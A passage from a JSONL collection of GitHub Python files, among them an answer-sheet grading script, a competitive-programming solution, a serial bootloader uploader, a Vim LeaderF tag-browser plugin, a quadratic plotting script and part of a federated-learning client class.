cv2.threshold(gray, 165, 255, cv2.THRESH_BINARY)[1]\nplt.imshow(thresh2)\nplt.show()\n\nx = 146\ny = 250\nfor k in range(30):\n if k < 15:\n x = 146\n\n print('loop 1-', k)\n else:\n print('loop 2-', k)\n if k == 15:\n y = 250\n\n x = 366\n print('ข้อที่ ', k + 1)\n num = 0\n for l in range(4):\n cropped_image = thresh2[y:y + h, x:x + w]\n K = label(cropped_image)\n props = regionprops(K)\n\n print('ตัวเลือกที่ ', l + 1, 'sum : ', props.__len__())\n cv2.rectangle(answersheet2, (x, y), (x + w, y + h), (0, 0, 255), 1)\n\n if props.__len__() == 4:\n cv2.rectangle(answersheet2, (x, y), (x + w, y + h), (0, 255, 0), 1)\n if l + 1 == 1:\n choose2 = 'A'\n if l + 1 == 2:\n choose2 = 'B'\n if l + 1 == 3:\n choose2 = 'C'\n if l + 1 == 4:\n choose2 = 'D'\n num += 1\n elif props.__len__() == 6 and num == 1:\n cv2.rectangle(answersheet2, (x, y), (x + w, y + h), (255, 0, 0), 1)\n num = 1\n elif props.__len__() == 6 and num == 0:\n cv2.rectangle(answersheet2, (x, y), (x + w, y + h), (255, 0, 0), 1)\n num = 0\n elif props.__len__() != 1:\n cv2.rectangle(answersheet2, (x, y), (x + w, y + h), (255, 10, 255), 1)\n num = 5\n\n x += 45\n\n if num == 1:\n ansUser.append(choose2)\n elif 1 < num <= 4:\n ansUser.append('More')\n elif num == 0:\n ansUser.append('NF')\n else:\n ansUser.append('ERROR')\n\n y += 26\n\nprint('ansCorrect ', ansCorrect)\nprint('ansUser', ansUser)\nfor i in range(30):\n if ansCorrect[i]==ansUser[i]:\n sum+=1\n if i >= 3:\n if ansCorrect[i] == ansCorrect[i - 1] == ansCorrect[i - 2]:\n print('มีคำตอบซ้ำกันเกิน 2 ข้��� ได้แก่ข้อ', i+1, ',', i, ',', i - 1)\n if ansCorrect[i] == 'D':\n if (ansCorrect[i - 1] == 'C' and ansCorrect[i - 2] == 'B' and ansCorrect[i - 3] == 'A') :\n print('มีคำตอบเรียงกันเกิน 4 ข้อ ได้แก่ข้อ',i-2 ,',',i-1,',',i,',',i+1)\n if i >= 6:\n if ansCorrect[i] == 'A':\n if (ansCorrect[i - 1] == 'B' and ansCorrect[i - 2] == 'C' and ansCorrect[i - 3] == 'D'):\n print('มีคำตอบเรียงกันเกิน 4 ข้อ ได้แก่ข้อ', i - 2, ',', i - 1, ',', i, ',', i + 1)\n\n\nprint('sum : ',sum)\n# cv2.putText(answersheet, str(sum), (485, 165), cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 0, 255),thickness=5)\ncv2.imshow('answersheet', answersheet)\ncv2.putText(answersheet2, str(sum), (485, 165), cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 0, 255),thickness=5)\ncv2.imshow('answersheet2', answersheet2)\ncv2.waitKey(0)\n","repo_name":"padonlabhat/ProjectDIP","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9215,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"3896588321","text":"S = input()\nN = len(S)\nla, ra = 0, 0\n\nwhile la < N and S[la] == \"a\":\n la += 1\n\n\nwhile ra < N and S[N-1-ra] == \"a\":\n ra += 1\n\n# print(la, ra)\nif la == N:\n print(\"Yes\")\nelif la > ra:\n print(\"No\")\nelse:\n S = S[la:N-ra]\n N = len(S)\n for i in range(N // 2 + 1):\n if S[i] != S[N-1-i]:\n print(\"No\")\n break\n else:\n print(\"Yes\")\n","repo_name":"rnishiura/atcoder","sub_path":"archives/ABC_C/abc237_c_kasaka.py","file_name":"abc237_c_kasaka.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"70475833224","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author:Irving\n\nimport socket\n\n# 1、买手机\nphone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# 2、拨号\nphone.connect(('127.0.0.1', 8080))\n\n# 3、开始发收信息\nwhile True:\n msg = input('>>:').strip()\n if not msg: continue\n phone.send(msg.encode('utf-8'))\n\n data = phone.recv(1024)\n print(data)\n\nphone.close()","repo_name":"Xuchaoqiang/Luffycity","sub_path":"第三模块(面向对象、网络编程)/网络编程/客户端_通信循环.py","file_name":"客户端_通信循环.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"14249647722","text":"## new Seq\n# 2) start value then 1 second delay\n# 3) send data with 0.01 second delay\n# 4) send end bit with 1 second delay\n\nimport serial\nimport time\n\nserial_port = 'COM8'\nbaud_rate = 115200\n\ntry:\n ser = serial.Serial(serial_port, baud_rate);\n print(\"Connected\")\n \nexcept serial.SerialException as e:\n print(f\"Failed {e}\")\n exit()\n \n\nfile_path = 'E:\\\\C_EUI\\\\BOOOOOTLOAADDEEERR\\\\examples\\\\test1.hex' #path\n\ntime.sleep(1)\n\ncounter = 0\n\ntry:\n with open(file_path, 'r') as file:\n lines = file.readlines()\n\n for line in lines:\n line = line.strip()\n val = line[2:4]\n\n if val.lower() == \"ff\":\n counter += 1\n\n time.sleep(2)\n\n print(counter)\n\n data_to_send = counter.to_bytes(1, byteorder='little')\n ser.write(data_to_send)\n print(data_to_send)\n \n for line in lines:\n line = line.strip()\n val = line[:4]\n \n if line:\n \n data_to_send = int(val, 16).to_bytes(1, byteorder='little')\n ser.write(data_to_send)\n #print(data_to_send)\n print(f\"***********************/// {line} sent ///***********************\")\n time.sleep(0.01)\n \n \n\nexcept FileNotFoundError:\n print(\"File not Found\")\n \nexcept Exception as e:\n print(f\"error: {e}\")\n \nser.close()\n ","repo_name":"MSho3eeb/Bootloader","sub_path":"PCloader.py","file_name":"PCloader.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"29249539558","text":"# # # Flipping Image # # #\r\n# Given a binary matrix A, we want to flip the image horizontally, then\r\n# invert it, and return the resulting image.\r\n# To flip an image horizontally means that each row of the image is reversed.\r\n# For example, flipping [1, 1, 0] horizontally results in [0, 1, 1].\r\n# To invert an image means that each 0 is replaced by 1, and each 1 is replaced\r\n# by 0. For example, inverting [0, 1, 1] results in [1, 0, 0].\r\n\r\n# Example\r\n# Input: [[1,1,0],[1,0,1],[0,0,0]]\r\n# Output: [[1,0,0],[0,1,0],[1,1,1]]\r\n# Explanation: First reverse each row: [[0,1,1],[1,0,1],[0,0,0]].\r\n# Then, invert the image: [[1,0,0],[0,1,0],[1,1,1]]\r\n\r\n# Idea: 1. Reverse each row, use stack or slicing\r\n# 2. Swap \"0\" and \"1\", use 2 for loops\r\nclass Solution:\r\n def flipAndInvertImage(self, A):\r\n for i in range(len(A)):\r\n # Reverse list\r\n A[i] = A[i][::-1]\r\n # temp = []\r\n # while A[i]:\r\n # m = A[i].pop()\r\n # temp.append(m)\r\n # A[i] = temp\r\n for j in range(len(A[i])):\r\n if A[i][j] == 0:\r\n A[i][j] = 1\r\n else:\r\n A[i][j] = 0\r\n return A\r\n\r\nt = Solution()\r\nA = [[1,1,0],[1,0,1],[0,0,0]]\r\nprint(t.flipAndInvertImage(A))\r\n","repo_name":"niuniu6niuniu/Leetcode","sub_path":"LC-Flipping_Image.py","file_name":"LC-Flipping_Image.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"20374366069","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport vim\nimport re\nimport os\nimport os.path\nimport subprocess\nimport tempfile\nfrom leaderf.utils import *\nfrom leaderf.explorer import *\nfrom leaderf.manager import *\n\n\n#*****************************************************\n# BufTagExplorer\n#*****************************************************\nclass BufTagExplorer(Explorer):\n def __init__(self):\n self._ctags = lfEval(\"g:Lf_Ctags\")\n self._supports_preview = int(lfEval(\"g:Lf_PreviewCode\"))\n self._tag_list = {} # a dict with (key, value) = (buffer number, taglist)\n self._buf_changedtick = {} # a dict with (key, value) = (buffer number, changedtick)\n for buf in vim.buffers:\n changedtick = int(lfEval(\"getbufvar(%d, 'changedtick')\" % buf.number))\n self._buf_changedtick[buf.number] = changedtick\n\n def getContent(self, *args, **kwargs):\n tag_list = []\n if len(args) > 0: # all buffers\n for b in vim.buffers:\n if b.options[\"buflisted\"]:\n tag_list.extend(self._getTaglist(b))\n else:\n tag_list = self._getTaglist(vim.current.buffer)\n return tag_list\n\n def _getTaglist(self, buffer):\n changedtick = int(lfEval(\"getbufvar(%d, 'changedtick')\" % buffer.number))\n # there is no change since last call\n if changedtick == self._buf_changedtick.get(buffer.number, -1):\n if buffer.number in self._tag_list:\n return self._tag_list[buffer.number]\n else:\n self._buf_changedtick[buffer.number] = changedtick\n\n if buffer.options[\"filetype\"] == b\"cpp\":\n extra_options = \"--c++-kinds=+p\"\n elif buffer.options[\"filetype\"] == b\"c\":\n extra_options = \"--c-kinds=+p\"\n else:\n extra_options = \"\"\n\n # {tagname}{tagfile}{tagaddress}[;\"{tagfield}..]\n # {tagname}{tagfile}{tagaddress};\"{kind}{scope}\n process = subprocess.Popen(\"{} -n -u --fields=-ft+Ks {} -f- -L- \".format(self._ctags,\n extra_options),\n shell=True,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n universal_newlines=True)\n if buffer.options[\"modified\"] == True:\n with tempfile.NamedTemporaryFile(mode='w+',\n suffix='_'+os.path.basename(buffer.name),\n delete=False) as f:\n for line in buffer[:]:\n f.write(line + '\\n')\n file_name = f.name\n out = process.communicate(lfDecode(file_name))\n os.remove(file_name)\n else:\n out = process.communicate(lfDecode(buffer.name))\n\n if out[1]:\n lfCmd(\"echoerr '%s'\" % escQuote(out[1].rstrip()))\n\n if not out[0]:\n return []\n\n # a list of [tag, file, line, kind, scope]\n output = [line.split('\\t') for line in out[0].splitlines()]\n if len(output[0]) < 4:\n lfCmd(\"echoerr '%s'\" % escQuote(out[0].rstrip()))\n return []\n\n tag_total_len = 0\n max_kind_len = 0\n for _, item in enumerate(output):\n tag_total_len += len(item[0])\n kind_len = len(item[3])\n if kind_len > max_kind_len:\n max_kind_len = kind_len\n ave_taglen = tag_total_len // len(output)\n tag_len = ave_taglen * 3 // 2\n\n tab_len = buffer.options[\"shiftwidth\"]\n std_tag_kind_len = tag_len // tab_len * tab_len + tab_len + max_kind_len\n\n tag_list = []\n for _, item in enumerate(output):\n scope = item[4] if len(item) > 4 else \"Global\"\n tag_kind = \"{:{taglen}s}\\t{}\".format(item[0], # tag\n item[3], # kind\n taglen=tag_len\n )\n tag_kind_len = int(lfEval(\"strdisplaywidth('%s')\" % escQuote(tag_kind)))\n num = std_tag_kind_len - tag_kind_len\n space_num = num if num > 0 else 0\n bufname = buffer.name if vim.options[\"autochdir\"] else lfRelpath(buffer.name)\n line = \"{}{}\\t{}\\t{:2s}{}\\t{}\".format(tag_kind,\n ' ' * space_num,\n scope, # scope\n ' ',\n bufname, # file\n item[2][:-2] # line\n )\n tag_list.append(line)\n if self._supports_preview:\n # code = \"{:{taglen}s}\\t{}\".format(' ' * len(item[0]),\n # buffer[int(item[2][:-2]) - 1].lstrip(),\n # taglen=tag_len\n # )\n code = \"\\t\\t{}\".format(buffer[int(item[2][:-2]) - 1].lstrip())\n tag_list.append(code)\n\n self._tag_list[buffer.number] = tag_list\n\n return tag_list\n\n def getStlCategory(self):\n return 'BufTag'\n\n def getStlCurDir(self):\n return escQuote(lfEncode(os.getcwd()))\n\n def isFilePath(self):\n return False\n\n\n#*****************************************************\n# BufTagExplManager\n#*****************************************************\nclass BufTagExplManager(Manager):\n def __init__(self):\n super(BufTagExplManager, self).__init__()\n self._match_ids = []\n self._supports_preview = int(lfEval(\"g:Lf_PreviewCode\"))\n\n def _getExplClass(self):\n return BufTagExplorer\n\n def _defineMaps(self):\n lfCmd(\"call leaderf#bufTagExplMaps()\")\n\n def _acceptSelection(self, *args, **kwargs):\n if len(args) == 0:\n return\n line = args[0]\n if line[0].isspace():\n buffer = args[1]\n line_nr = args[2]\n line = buffer[line_nr - 2]\n # {tag} {kind} {scope} {file} {line}\n items = re.split(\" *\\t *\", line)\n tagname = items[0]\n tagfile, line_nr = items[3:]\n lfCmd(\"hide buffer +%s %s\" % (line_nr, escSpecial(tagfile)))\n lfCmd(\"norm! ^\")\n lfCmd(\"call search('\\V%s', 'Wc', line('.'))\" % escQuote(tagname))\n lfCmd(\"norm! zz\")\n\n def _getDigest(self, line, mode):\n \"\"\"\n specify what part in the line to be processed and highlighted\n Args:\n mode: 0, return the whole line\n 1, return the tagname\n 2, return the remaining part\n \"\"\"\n if mode == 0:\n return line\n elif mode == 1:\n return re.split(\" *\\t *\", line, 1)[0]\n else:\n return re.split(\" *\\t *\", line, 1)[1]\n\n def _getDigestStartPos(self, line, mode):\n \"\"\"\n return the start position of the digest returned by _getDigest()\n Args:\n mode: 0, return the start position of the whole line\n 1, return the start position of tagname\n 2, return the start position remaining part\n \"\"\"\n if mode == 0:\n return 0\n elif mode == 1:\n return 0\n else:\n return len(line) - len(re.split(\" *\\t *\", line, 1)[1])\n\n def _createHelp(self):\n help = []\n help.append('\" //o : open file under cursor')\n help.append('\" x : open file under cursor in a horizontally split window')\n help.append('\" v : open file under cursor in a vertically split window')\n help.append('\" t : open file under cursor in a new tabpage')\n help.append('\" i : switch to input mode')\n help.append('\" q : quit')\n help.append('\" : toggle this help')\n help.append('\" ---------------------------------------------------------')\n return help\n\n def _afterEnter(self):\n super(BufTagExplManager, self)._afterEnter()\n id = int(lfEval('''matchadd('Lf_hl_buftagKind', '^[^\\t]*\\t\\zs\\S\\+')'''))\n self._match_ids.append(id)\n id = int(lfEval('''matchadd('Lf_hl_buftagScopeType', '[^\\t]*\\t\\S\\+\\s*\\zs\\w\\+:')'''))\n self._match_ids.append(id)\n id = int(lfEval('''matchadd('Lf_hl_buftagScope', '^[^\\t]*\\t\\S\\+\\s*\\(\\w\\+:\\)\\=\\zs\\S\\+')'''))\n self._match_ids.append(id)\n id = int(lfEval('''matchadd('Lf_hl_buftagDirname', '[^\\t]*\\t\\S\\+\\s*\\S\\+\\s*\\zs[^\\t]\\+')'''))\n self._match_ids.append(id)\n id = int(lfEval('''matchadd('Lf_hl_buftagLineNum', '\\d\\+$')'''))\n self._match_ids.append(id)\n id = int(lfEval('''matchadd('Lf_hl_buftagCode', '^\\s\\+.*')'''))\n self._match_ids.append(id)\n\n def _beforeExit(self):\n super(BufTagExplManager, self)._beforeExit()\n for i in self._match_ids:\n lfCmd(\"silent! call matchdelete(%d)\" % i)\n self._match_ids = []\n\n def _getUnit(self):\n \"\"\"\n indicates how many lines are considered as a unit\n \"\"\"\n if self._supports_preview:\n return 2\n else:\n return 1\n\n def _supportsRefine(self):\n return True\n\n def _fuzzyFilter(self, is_full_path, get_weight, iterable):\n \"\"\"\n return a list, each item is a triple (weight, line1, line2)\n \"\"\"\n if self._supports_preview:\n if len(iterable) < 2:\n return []\n getDigest = partial(self._getDigest, mode=0 if is_full_path else 1)\n triples = ((get_weight(getDigest(line)), line, iterable[2*i+1])\n for i, line in enumerate(iterable[::2]))\n return (t for t in triples if t[0])\n else:\n return super(BufTagExplManager, self)._fuzzyFilter(is_full_path,\n get_weight,\n iterable)\n\n def _refineFilter(self, first_get_weight, get_weight, iterable):\n if self._supports_preview:\n if len(iterable) < 2:\n return []\n getDigest = self._getDigest\n tuples = ((first_get_weight(getDigest(line, 1)), get_weight(getDigest(line, 2)),\n line, iterable[2*i+1]) for i, line in enumerate(iterable[::2]))\n return ((i[0] + i[1], i[2], i[3]) for i in tuples if i[0] and i[1])\n else:\n return super(BufTagExplManager, self)._refineFilter(first_get_weight,\n get_weight,\n iterable)\n\n def _regexFilter(self, iterable):\n try:\n if ('-2' == lfEval(\"g:LfNoErrMsgMatch('', '%s')\" % escQuote(self._cli.pattern))):\n return iter([])\n else:\n result = []\n for i, line in enumerate(iterable[::2]):\n if ('-1' != lfEval(\"g:LfNoErrMsgMatch('%s', '%s')\" %\n (escQuote(self._getDigest(line, 1).strip()),\n escQuote(self._cli.pattern)))):\n result.append(line)\n result.append(iterable[2*i+1])\n return result\n except vim.error:\n return iter([])\n\n def _getList(self, pairs):\n \"\"\"\n return a list constructed from pairs\n Args:\n pairs: a list of tuple(weight, line, ...)\n \"\"\"\n if self._supports_preview:\n result = []\n for _, p in enumerate(pairs):\n result.append(p[1])\n result.append(p[2])\n return result\n else:\n return super(BufTagExplManager, self)._getList(pairs)\n\n def _toUp(self):\n if self._supports_preview:\n lfCmd(\"norm! 2k\")\n else:\n super(BufTagExplManager, self)._toUp()\n\n def _toDown(self):\n if self._supports_preview:\n if lfEval(\"line('$') - line('.') > 2\") == '1':\n lfCmd(\"norm! 2j\")\n else:\n super(BufTagExplManager, self)._toDown()\n\n#*****************************************************\n# bufTagExplManager is a singleton\n#*****************************************************\nbufTagExplManager = BufTagExplManager()\n\n__all__ = ['bufTagExplManager']\n","repo_name":"wdhh6/my-vim","sub_path":".vim/autoload/leaderf/bufTagExpl.py","file_name":"bufTagExpl.py","file_ext":"py","file_size_in_byte":12717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"41258719064","text":"import torch\nimport pickle\n\nfrom configs.settings import TotalConfigs\nfrom eval import eval_fn\n\n\ndef test_fn(cfgs: TotalConfigs, model, loader, device):\n print('##############n_vocab is {}##############'.format(cfgs.decoder.n_vocab))\n with open(cfgs.data.idx2word_path, 'rb') as f:\n idx2word = pickle.load(f)\n with open(cfgs.data.vid2groundtruth_path, 'rb') as f:\n vid2groundtruth = pickle.load(f)\n scores = eval_fn(model=model, loader=loader, device=device, \n idx2word=idx2word, save_on_disk=True, cfgs=cfgs, \n vid2groundtruth=vid2groundtruth)\n print('===================Testing is finished====================')\n\n","repo_name":"MarcusNerva/HMN","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"81"} +{"seq_id":"73674549066","text":"from matplotlib import pyplot as plt\nimport math\n\ndef num(con, val):\n a = (con[0]*(val**2))\n b = (con[1]*val)\n c = (con[2])\n d = a+b+c\n return d\n\ndef curve(constant, x):\n m = []\n for i in range(len(x)):\n m.append(num(constant, x[i]))\n return m\n\ndef quadraticEquations_1(a, b, c):\n val = ( (-b) - (math.sqrt((b*b) - (4*a*c)))) / (2*a)\n return val\n\ndef quadraticEquations_2(a, b, c):\n val = ( (-b) + (math.sqrt((b*b) - (4*a*c)))) / (2*a)\n return val\n\nconstants = [1, -5, 6] # (x*x) + (-5x) + 6\n\n# n1 = int(input(\"Enter : \"))\n# n2 = int(input(\"Enter : \"))\n# n3 = int(input(\"Enter : \"))\n\n# constants = []\n# constants.append(n1)\n# constants.append(n2)\n# constants.append(n3)\n\na = quadraticEquations_1(constants[0], constants[1], constants[2])\nb = quadraticEquations_2(constants[0], constants[1], constants[2])\n\nc = 0.5 * a * b\n\nc1 = int(c - 20)\nc2 = int(c + 20)\n\nif a == b:\n print(\"\\nThe value of 'x' is {0}\\n\".format(a))\n\nelse:\n print(\"\\nThe values of 'x' are {0} and {1}\\n\".format(a, b))\n\nx = list(range(c1, c2))\nplt.plot(x, curve(constants, x),'--', label = 'parabola')\nplt.grid(True)\nplt.title('Quadratic Equation')\nplt.legend()\nplt.show()","repo_name":"ArkadyutiDe/python","sub_path":"factorisationPlot.py","file_name":"factorisationPlot.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"32960166074","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 22 15:26:49 2022\r\n\r\n@author: tangx\r\n\"\"\"\r\n\r\nimport torch\r\nfrom torch import autograd\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport os\r\nimport json\r\nfrom torch.utils.data import DataLoader\r\nimport numpy as np\r\nimport copy\r\n\r\nclass User:\r\n \"\"\"\r\n Base class for users in federated learning.\r\n \"\"\"\r\n def __init__(self, device, id, dataset, algorithm, train_data, test_data, model, batch_size = 0, learning_rate = 0, beta = 0 , lamda = 0, local_epochs = 0, irm_penalty_anneal_iters=0, irm_penalty_weight=0, glob_iters=0):\r\n\r\n self.device = device\r\n self.model = {'extractor': copy.deepcopy(model[0]), 'classifier': copy.deepcopy(model[1])}\r\n self.id = id # integer\r\n self.batch_size = batch_size\r\n self.learning_rate = learning_rate\r\n self.beta = beta\r\n self.lamda = lamda\r\n self.local_epochs = local_epochs\r\n if dataset in [\"CMnist\", \"Mnist\", \"WaterBird\"]:\r\n self.train_samples = len(train_data)\r\n print(\"number of train samples:\", self.train_samples)\r\n self.test_samples = len(test_data)\r\n print(\"number of test samples:\", self.test_samples)\r\n self.trainloader = DataLoader(train_data, self.batch_size)\r\n self.testloader = DataLoader(test_data, self.batch_size)\r\n self.testloaderfull = DataLoader(test_data, self.test_samples)\r\n self.trainloaderfull = DataLoader(train_data, self.train_samples)\r\n self.iter_trainloader = iter(self.trainloader)\r\n self.iter_testloader = iter(self.testloader)\r\n elif dataset in [\"PACS\"]:\r\n loader_kwargs = {'batch_size':self.batch_size}\r\n self.trainloader = train_data.get_loader(train=True, reweight_groups=False, **loader_kwargs)\r\n self.testloader = test_data.get_loader(train=True, reweight_groups=False, **loader_kwargs)\r\n \r\n # for invariant learning\r\n self.glob_iters = glob_iters\r\n self.irm_penalty_anneal_iters = irm_penalty_anneal_iters\r\n self.irm_penalty_weight = irm_penalty_weight\r\n \r\n # those parameters are for persionalized federated learing.\r\n# self.local_model = copy.deepcopy(list(self.model.parameters()))\r\n# self.persionalized_model = copy.deepcopy(list(self.model.parameters()))\r\n# self.persionalized_model_bar = copy.deepcopy(list(self.model.parameters()))\r\n \r\n self.local_model = {'extractor': copy.deepcopy(list(self.model['extractor'].parameters())), 'classifier': copy.deepcopy(list(self.model['classifier'].parameters()))}\r\n self.personalized_model = {'extractor': copy.deepcopy(list(self.model['extractor'].parameters())), 'classifier': copy.deepcopy(list(self.model['classifier'].parameters()))}\r\n self.personalized_model_bar = {'extractor': copy.deepcopy(list(self.model['extractor'].parameters())), 'classifier': copy.deepcopy(list(self.model['classifier'].parameters()))}\r\n print(\"########## user model copy!!! ############\")\r\n \r\n def BCE_loss(self, logits, y, reduction='mean'):\r\n # print(\"size of logits:\", logits.size())\r\n # print(\"size of y:\", y.size())\r\n y = y.view(logits.size())\r\n return nn.functional.binary_cross_entropy_with_logits(logits, y.float(), reduction=reduction)\r\n \r\n def total_accuracy_binary(self, logits, y):\r\n y = y.view(logits.size())\r\n preds = (logits > 0.).float()\r\n acc_total = float((torch.sum(((preds - y).abs() < 1e-2).float())).item())\r\n return acc_total\r\n \r\n def total_accuracy(self, logits, y):\r\n acc_total = float((torch.sum(torch.argmax(logits, dim=1) == y)).item())\r\n return acc_total\r\n \r\n def mean_accuracy(self, logits, y):\r\n preds = (logits > 0.).float()\r\n return ((preds - y).abs() < 1e-2).float().mean()\r\n \r\n def irm_penalty(self, logits, y):\r\n scale = torch.tensor(1.).cuda().requires_grad_()\r\n # loss = self.BCE_loss(logits * scale, y)\r\n loss = self.loss(logits * scale, y)\r\n grad = autograd.grad(loss, [scale], create_graph=True)[0]\r\n return torch.sum(grad**2)\r\n\r\n def cosine_sim(self, a, b, eps=1e-08):\r\n '''Returns the cosine similarity between two arrays a and b\r\n '''\r\n norm_a = torch.linalg.norm(a, dim=1)\r\n norm_b = torch.linalg.norm(b, dim=1)\r\n epsilon = eps * torch.ones(norm_b.size()).cuda()\r\n# print(\"norm a:\", norm_a)\r\n# print(\"norm b:\", norm_b)\r\n# print(\"size of norm:\", norm_a.size())\r\n z_dim = a.size()\r\n# norm_a = norm_a.view(z_dim[0], 1)\r\n# norm_b = norm_b.view(z_dim[0], 1)\r\n a = a.view(-1, 1, z_dim[1])\r\n b = b.view(-1, z_dim[1], 1)\r\n dot_product = torch.bmm(a, b)\r\n# print(\"dot_product:\", dot_product)\r\n dot_product = dot_product.view(norm_a.size())\r\n# print(\"size of norm_a:\", norm_a.size())\r\n# print(\"dot_product:\", dot_product)\r\n return dot_product * 1.0 / torch.max(norm_a * norm_b, epsilon)\r\n \r\n def contrastive_loss(self, anchor, positive, negative):\r\n weight_negative = 0.2\r\n positive_sim = self.cosine_sim(anchor, positive)\r\n negative_sim = self.cosine_sim(anchor, negative)\r\n# print(\"norm of positive:\", torch.linalg.norm(anchor, dim=1))\r\n# print(\"positive aim:\", positive_sim)\r\n# print(\"negative aim:\", negative_sim)\r\n contrastive_loss = -1.0 * torch.log(torch.exp(positive_sim) / (torch.exp(positive_sim) + weight_negative*torch.exp(negative_sim)))\r\n# print(\"positive sim:\", positive_sim)\r\n# print(\"exp of negative sim:\", torch.exp(negative_sim))\r\n# print(\"contrastive loss:\", contrastive_loss)\r\n return contrastive_loss.mean()\r\n \r\n def set_parameters(self, model):\r\n for key_sm, key_m in zip(self.model, model):\r\n for old_param, new_param, local_param in zip(self.model[key_sm].parameters(), model[key_m].parameters(), self.local_model[key_sm]):\r\n old_param.data = new_param.data.clone()\r\n local_param.data = new_param.data.clone()\r\n #self.local_weight_updated = copy.deepcopy(self.optimizer.param_groups[0]['params'])\r\n\r\n def get_parameters(self):\r\n for key in self.model:\r\n for param in self.model[key].parameters():\r\n param.detach()\r\n return {'extractor': self.model['extractor'].parameters(), 'classifier': self.model['classifier'].parameters()}\r\n \r\n def clone_model_paramenter(self, param, clone_param):\r\n for key, key_c in zip(param, clone_param):\r\n for param, clone_param in zip(param[key], clone_param[key_c]):\r\n clone_param.data = param.data.clone()\r\n return clone_param\r\n \r\n def get_updated_parameters(self):\r\n return self.local_weight_updated\r\n \r\n def update_parameters(self, new_params):\r\n for key, key_new in zip(self.model, new_params):\r\n for param , new_param in zip(self.model[key].parameters(), new_params[key_new]):\r\n param.data = new_param.data.clone()\r\n\r\n def get_grads(self):\r\n grads = {'extractor': [], 'classifier': []}\r\n for key in self.model:\r\n for param in self.model[key].parameters():\r\n if param.grad is None:\r\n grads[key].append(torch.zeros_like(param.data))\r\n else:\r\n grads[key].append(param.grad.data)\r\n return grads\r\n\r\n def test(self):\r\n self.model['extractor'].eval()\r\n self.model['classifier'].eval()\r\n test_acc = 0\r\n for x, y in self.testloaderfull:\r\n # for x, y in self.testloader:\r\n x, y = x.to(self.device), y.to(self.device)\r\n z = self.model['extractor'](x)\r\n output = self.model['classifier'](z)\r\n\r\n test_acc += self.accuracy(output, y)\r\n #test_acc += float((torch.sum(torch.argmax(output, dim=1) == y)).item())\r\n #@loss += self.loss(output, y)\r\n #print(self.id + \", Test Accuracy:\", test_acc / y.shape[0] )\r\n #print(self.id + \", Test Loss:\", loss)\r\n return test_acc, y.shape[0]\r\n\r\n def train_error_and_loss(self, glob_iter=0):\r\n self.model['extractor'].eval()\r\n self.model['classifier'].eval()\r\n train_acc = 0\r\n loss = 0\r\n loss_irm_penalty = 0\r\n num = 0\r\n for x, y in self.trainloaderfull:\r\n # for x, y in self.trainloader:\r\n x, y = x.to(self.device), y.to(self.device)\r\n z = self.model['extractor'](x)\r\n output = self.model['classifier'](z)\r\n # train_acc += (torch.sum(torch.argmax(output, dim=1) == y)).item()\r\n # loss += self.loss(output, y)\r\n train_acc += self.accuracy(output, y)\r\n #train_acc += float((torch.sum(torch.argmax(output, dim=1) == y)).item())\r\n loss_y = float(self.loss(output, y))\r\n loss_irm_penalty = float(self.irm_penalty(output, y))\r\n # print(\"global iteration:\", glob_iter)\r\n irm_penalty_weight = (self.irm_penalty_weight if glob_iter >= self.irm_penalty_anneal_iters else 1.0)\r\n loss_total = loss_y + irm_penalty_weight * loss_irm_penalty\r\n if irm_penalty_weight > 1.0:\r\n # Rescale the entire loss to keep gradients in a reasonable range\r\n loss_total /= irm_penalty_weight\r\n loss += loss_total\r\n # loss += loss_y\r\n num += y.shape[0]\r\n #print(self.id + \", Train Accuracy:\", train_acc)\r\n print(self.id + \", Train IRM Penalty Loss:\", loss_irm_penalty)\r\n # return train_acc, loss , self.train_samples\r\n return train_acc, loss , num\r\n \r\n def test_persionalized_model(self):\r\n self.model['extractor'].eval()\r\n self.model['classifier'].eval()\r\n test_acc = 0\r\n self.update_parameters(self.personalized_model_bar)\r\n # self.update_parameters(self.personalized_model)\r\n for x, y in self.testloaderfull:\r\n # for x, y in self.testloader:\r\n x, y = x.to(self.device), y.to(self.device)\r\n z = self.model['extractor'](x)\r\n output = self.model['classifier'](z)\r\n test_acc += self.accuracy(output, y)\r\n \r\n #test_acc += float((torch.sum(torch.argmax(output, dim=1) == y)).item())\r\n #@loss += self.loss(output, y)\r\n #print(self.id + \", Test Accuracy:\", test_acc / y.shape[0] )\r\n #print(self.id + \", Test Loss:\", loss)\r\n self.update_parameters(self.local_model)\r\n return test_acc, y.shape[0]\r\n\r\n def train_error_and_loss_persionalized_model(self):\r\n self.model['extractor'].eval()\r\n self.model['classifier'].eval()\r\n train_acc = 0\r\n loss = 0\r\n loss_con = 0\r\n num = 0\r\n # self.update_parameters(self.personalized_model)\r\n self.update_parameters(self.personalized_model_bar)\r\n# print(\"trainloaderfull:\", self.trainloaderfull)\r\n for x, y in self.trainloaderfull:\r\n # for x, y in self.trainloader:\r\n x, y = x.to(self.device), y.to(self.device)\r\n z = self.model['extractor'](x)\r\n output = self.model['classifier'](z)\r\n train_acc += self.accuracy(output, y)\r\n #train_acc += 